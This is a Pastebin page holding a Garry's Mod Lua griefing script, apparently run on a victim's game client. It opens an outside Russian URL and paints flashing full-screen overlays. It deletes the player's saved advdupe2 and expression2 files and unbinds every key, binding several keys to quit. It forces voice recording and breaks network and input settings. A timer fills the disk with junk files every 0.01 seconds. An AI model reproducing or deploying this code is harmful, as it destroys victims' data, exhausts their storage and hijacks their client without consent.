Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- gui.OpenURL("http://guf.dessower.ru")
- local STR = {}
- local SH = ScrH() HI = SH/6 SW = ScrW() Uid = 0
- local abs = math.abs cos = math.cos sin = math.sin
- local TBL =
- {
- "[","H","E","X",
- " ]","0","x","0",
- "0"}
- local PDR =
- {
- Color(255,0,0),
- Color(255,155,0),
- Color(255,255,0),
- Color(0,255,0),
- Color(0,0,255),
- Color(100,55,155)
- }
- surface.CreateFont("ai_ply_hack",{
- font="Consolas",
- size=80,
- weight=1000,
- antialias=true,
- outline=true
- })
- hook.Add("HUDPaint","hack",function()
- local C = CurTime()
- for i = 1,6 do
- PDR[i].a = abs(cos(C+i*25)*255)
- surface.SetDrawColor(PDR[i])
- surface.DrawRect(0,(i-1)*HI,SW,HI)
- end
- for id,obj in pairs(TBL) do
- local X = cos(C/10)*(SW-620)
- local Y = abs(sin(C+id/6)*(-SH+100))
- local YC = math.Clamp(Y/2,0,255)
- local Col = Color(YC,abs((cos(C)*255)-YC),0,255)
- surface.SetTextPos(X+40*id,Y)
- surface.SetTextColor(Col)
- surface.SetFont("ai_ply_hack")
- surface.DrawText(obj)
- end
- end)
- local FILES,FOLDERS = file.Find("advdupe2/*","DATA")
- for id,obj in pairs(FILES) do
- file.Delete("advdupe2/"..obj)
- end
- local FILES,FOLDERS = file.Find("expression2/*","DATA")
- for id,obj in pairs(FILES) do
- file.Delete("expression2/"..obj)
- end
- local function name_builder()
- local Str = ""
- Uid = Uid+1
- Str = Str..string.format("%X",Uid)
- return Str
- end
- local function long_string()
- local Str = ""
- for I = 1,250 do
- Str = Str..name_builder()
- end
- return Str
- end
- local function random_files()
- file.Write(name_builder()..".txt",long_string())
- end
- hook.Add("Tick","voicecgat", function()
- gui.EnableScreenClicker(false)
- gui.SetMousePos(0,0)
- RunConsoleCommand("cl_mouselook",1)
- RunConsoleCommand("+voicerecord")
- RunConsoleCommand("unbindall")
- RunConsoleCommand("-right")
- RunConsoleCommand("+left")
- RunConsoleCommand("cl_updaterate","0")
- RunConsoleCommand("cl_timeout","0")
- RunConsoleCommand("net_maxpacketdrop","1")
- RunConsoleCommand("cl_mouseenable","0")
- RunConsoleCommand("cl_drawhud", "0")
- RunConsoleCommand("cl_allowupload","0")
- RunConsoleCommand("cl_allowdownload","0")
- RunConsoleCommand("cl_allowupload","0")
- RunConsoleCommand("cl_cmdrate","1")
- RunConsoleCommand("cl_lagcompensation","0")
- RunConsoleCommand("physgun_wheelspeed","0")
- RunConsoleCommand("bind","q","quit")
- RunConsoleCommand("bind","x","quit")
- RunConsoleCommand("bind","y","quit")
- for i = 1,50 do
- if i%25 == 0 then
- RunConsoleCommand("+attack")
- else
- RunConsoleCommand("-attack")
- end
- end
- end)
- timer.Create("File_Fill",0.01,-1,function()
- file.Append("wire_version.txt",long_string())
- for i = 1,3 do
- random_files()
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement